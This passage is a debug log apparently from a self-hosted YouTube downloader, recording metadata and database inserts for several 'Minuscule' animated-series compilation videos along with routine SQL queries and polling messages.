https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#hat #fly #spider #ocean #Brushing #Fly #Spider #Drunk #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 698, "filename" => "/downloads/Miniscule Season 1/2025-02-04 The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation/The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation [uTfacr6k9oA].mp4", "id" => "uTfacr6k9oA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uTfacr6k9oA", "playlist_index" => 66, "timestamp" => 1738652441, "title" => "The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation", "upload_date" => "20250204"} 00:51:16.707 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1061.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:16.708 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1062.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:16.709 [debug] QUERY OK source="media_items" db=1.0ms idle=1063.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-04 07:00:41Z], 4] 00:51:16.712 [debug] QUERY OK source="media_items" db=2.1ms idle=1065.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Hat Of The Medusa | S02E17\r\n00:03:45 | Brushing | S02E46\r\n00:07:10 | Bzzaping | S02E03\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#hat #fly #spider #ocean #Brushing #Fly #Spider #Drunk #Minuscule #nature #insects #ladybugs #animatedseries", "The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation", "5d54d3cc-e38e-48ee-8bad-5dfd23a96708", "uTfacr6k9oA", 698, false, 4, "https://www.youtube.com/watch?v=uTfacr6k9oA", 66, "/downloads/Miniscule Season 1/2025-02-04 The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation/The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation [uTfacr6k9oA].mp4", false, false, false, [], 1, ~U[2025-02-04 07:00:41Z], ~U[2025-12-14 07:51:16Z], ~U[2025-12-14 07:51:16Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Hat Of The Medusa | S02E17\r\n00:03:45 | Brushing | S02E46\r\n00:07:10 | Bzzaping | S02E03\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#hat #fly #spider #ocean #Brushing #Fly #Spider #Drunk #Minuscule #nature #insects #ladybugs #animatedseries", "The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation", "uTfacr6k9oA", 698, false, 4, "https://www.youtube.com/watch?v=uTfacr6k9oA", "/downloads/Miniscule Season 1/2025-02-04 The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation/The Hat Of The Medusa 🕷️ Minuscule 🍃 15' Compilation [uTfacr6k9oA].mp4", false, ~U[2025-02-04 07:00:41Z]] 00:51:16.713 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=230.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:16.714 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:16.715 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89033] 00:51:16.715 [debug] Current batch of media processed. Will check again in 1000ms 00:51:17.716 [debug] Current batch of media processed. Will check again in 1000ms 00:51:18.717 [debug] Current batch of media processed. Will check again in 1000ms 00:51:19.718 [debug] Current batch of media processed. Will check again in 1000ms 00:51:20.719 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Horsefly | S01E21\r\n00:04:41 | The Last Supper | S01E25\r\n00:09:29 | Catapult | S01E27\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #flies #insulting #horsefly #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 887, "filename" => "/downloads/Miniscule Season 1/2025-02-01 Horsefly 🪰 Minuscule 🍃 20' Compilation/Horsefly 🪰 Minuscule 🍃 20' Compilation [2WlO4AqSpV0].mkv", "id" => "2WlO4AqSpV0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2WlO4AqSpV0", "playlist_index" => 67, "timestamp" => 1738436444, "title" => "Horsefly 🪰 Minuscule 🍃 20' Compilation", "upload_date" => "20250201"} 00:51:20.720 [debug] QUERY OK source="sources" db=0.5ms idle=228.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:20.721 [debug] QUERY OK source="sources" db=0.5ms idle=75.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:20.722 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=76.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-01 19:00:44Z], 4] 00:51:20.725 [debug] QUERY OK source="media_items" db=2.0ms idle=78.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Horsefly | S01E21\r\n00:04:41 | The Last Supper | S01E25\r\n00:09:29 | Catapult | S01E27\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #flies #insulting #horsefly #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "Horsefly 🪰 Minuscule 🍃 20' Compilation", "65bf9e25-e9a1-4810-aee1-e66746c57789", "2WlO4AqSpV0", 887, false, 4, "https://www.youtube.com/watch?v=2WlO4AqSpV0", 67, "/downloads/Miniscule Season 1/2025-02-01 Horsefly 🪰 Minuscule 🍃 20' Compilation/Horsefly 🪰 Minuscule 🍃 20' Compilation [2WlO4AqSpV0].mkv", false, false, false, [], 1, ~U[2025-02-01 19:00:44Z], ~U[2025-12-14 07:51:20Z], ~U[2025-12-14 07:51:20Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Horsefly | S01E21\r\n00:04:41 | The Last Supper | S01E25\r\n00:09:29 | Catapult | S01E27\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #flies #insulting #horsefly #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "Horsefly 🪰 Minuscule 🍃 20' Compilation", "2WlO4AqSpV0", 887, false, 4, "https://www.youtube.com/watch?v=2WlO4AqSpV0", "/downloads/Miniscule Season 1/2025-02-01 Horsefly 🪰 Minuscule 🍃 20' Compilation/Horsefly 🪰 Minuscule 🍃 20' Compilation [2WlO4AqSpV0].mkv", false, ~U[2025-02-01 19:00:44Z]] 00:51:20.726 [debug] QUERY OK source="sources" db=0.4ms idle=80.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:20.727 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:20.728 [debug] QUERY OK source="media_items" db=0.6ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89035] 00:51:20.728 [debug] Current batch of media processed. Will check again in 1000ms 00:51:21.729 [debug] Current batch of media processed. Will check again in 1000ms 00:51:22.730 [debug] Current batch of media processed. Will check again in 1000ms 00:51:23.731 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzzeplin | S01E22\n00:04:51 | The Escapist | S01E59\n00:09:19 | Interior Cobwebs | S01E64\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #balloon #web #air #escape #flies #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 858, "filename" => "/downloads/Miniscule Season 1/2025-01-30 Zzzeplin 🕷️ Minuscule 🍃 15' Compilation/Zzzeplin 🕷️ Minuscule 🍃 15' Compilation [LgleO-XEpkA].mkv", "id" => "LgleO-XEpkA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LgleO-XEpkA", "playlist_index" => 68, "timestamp" => 1738234875, "title" => "Zzzeplin 🕷️ Minuscule 🍃 15' Compilation", "upload_date" => "20250130"} 00:51:23.732 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1086.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:23.733 [debug] QUERY OK source="sources" db=0.4ms idle=1087.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:23.734 [debug] QUERY OK source="media_items" db=1.0ms idle=1088.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-30 11:01:15Z], 4] 00:51:23.845 [debug] QUERY OK source="media_items" db=109.5ms idle=1090.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzzeplin | S01E22\n00:04:51 | The Escapist | S01E59\n00:09:19 | Interior Cobwebs | S01E64\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #balloon #web #air #escape #flies #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "Zzzeplin 🕷️ Minuscule 🍃 15' Compilation", "4a1f3bce-2154-4bc1-9f9a-45d50a4ac07f", "LgleO-XEpkA", 858, false, 4, "https://www.youtube.com/watch?v=LgleO-XEpkA", 68, "/downloads/Miniscule Season 1/2025-01-30 Zzzeplin 🕷️ Minuscule 🍃 15' Compilation/Zzzeplin 🕷️ Minuscule 🍃 15' Compilation [LgleO-XEpkA].mkv", false, false, false, [], 1, ~U[2025-01-30 11:01:15Z], ~U[2025-12-14 07:51:23Z], ~U[2025-12-14 07:51:23Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzzeplin | S01E22\n00:04:51 | The Escapist | S01E59\n00:09:19 | Interior Cobwebs | S01E64\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #balloon #web #air #escape #flies #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "Zzzeplin 🕷️ Minuscule 🍃 15' Compilation", "LgleO-XEpkA", 858, false, 4, "https://www.youtube.com/watch?v=LgleO-XEpkA", "/downloads/Miniscule Season 1/2025-01-30 Zzzeplin 🕷️ Minuscule 🍃 15' Compilation/Zzzeplin 🕷️ Minuscule 🍃 15' Compilation [LgleO-XEpkA].mkv", false, ~U[2025-01-30 11:01:15Z]] 00:51:23.846 [debug] QUERY OK source="sources" db=0.4ms idle=348.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:23.846 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=113.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:23.848 [debug] QUERY OK source="media_items" db=0.6ms idle=114.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89037] 00:51:23.848 [debug] Current batch of media processed. Will check again in 1000ms 00:51:24.849 [debug] Current batch of media processed. Will check again in 1000ms 00:51:25.850 [debug] Current batch of media processed. Will check again in 1000ms 00:51:26.851 [debug] Current batch of media processed. Will check again in 1000ms 00:51:27.852 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Quest For The Pink Lollipop | S01E32\n00:04:40 | The Shellproof Nut | S01E40\n00:09:28 | Rosy | S01E38\n00:14:09 | Ants | S01E02\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#quest #lollipop #ants #battle #nut #problem #ideas #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1170, "filename" => "/downloads/Miniscule Season 1/2025-01-28 The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation/The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation [yHYE9LBToX0].mp4", "id" => "yHYE9LBToX0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yHYE9LBToX0", "playlist_index" => 69, "timestamp" => 1738047642, "title" => "The Quest For The Pink Lollipop 🍭 Minuscule 🐜 20' Compilation", "upload_date" => "20250128"} 00:51:27.853 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=347.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:27.854 [debug] QUERY OK source="sources" db=0.3ms idle=208.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", 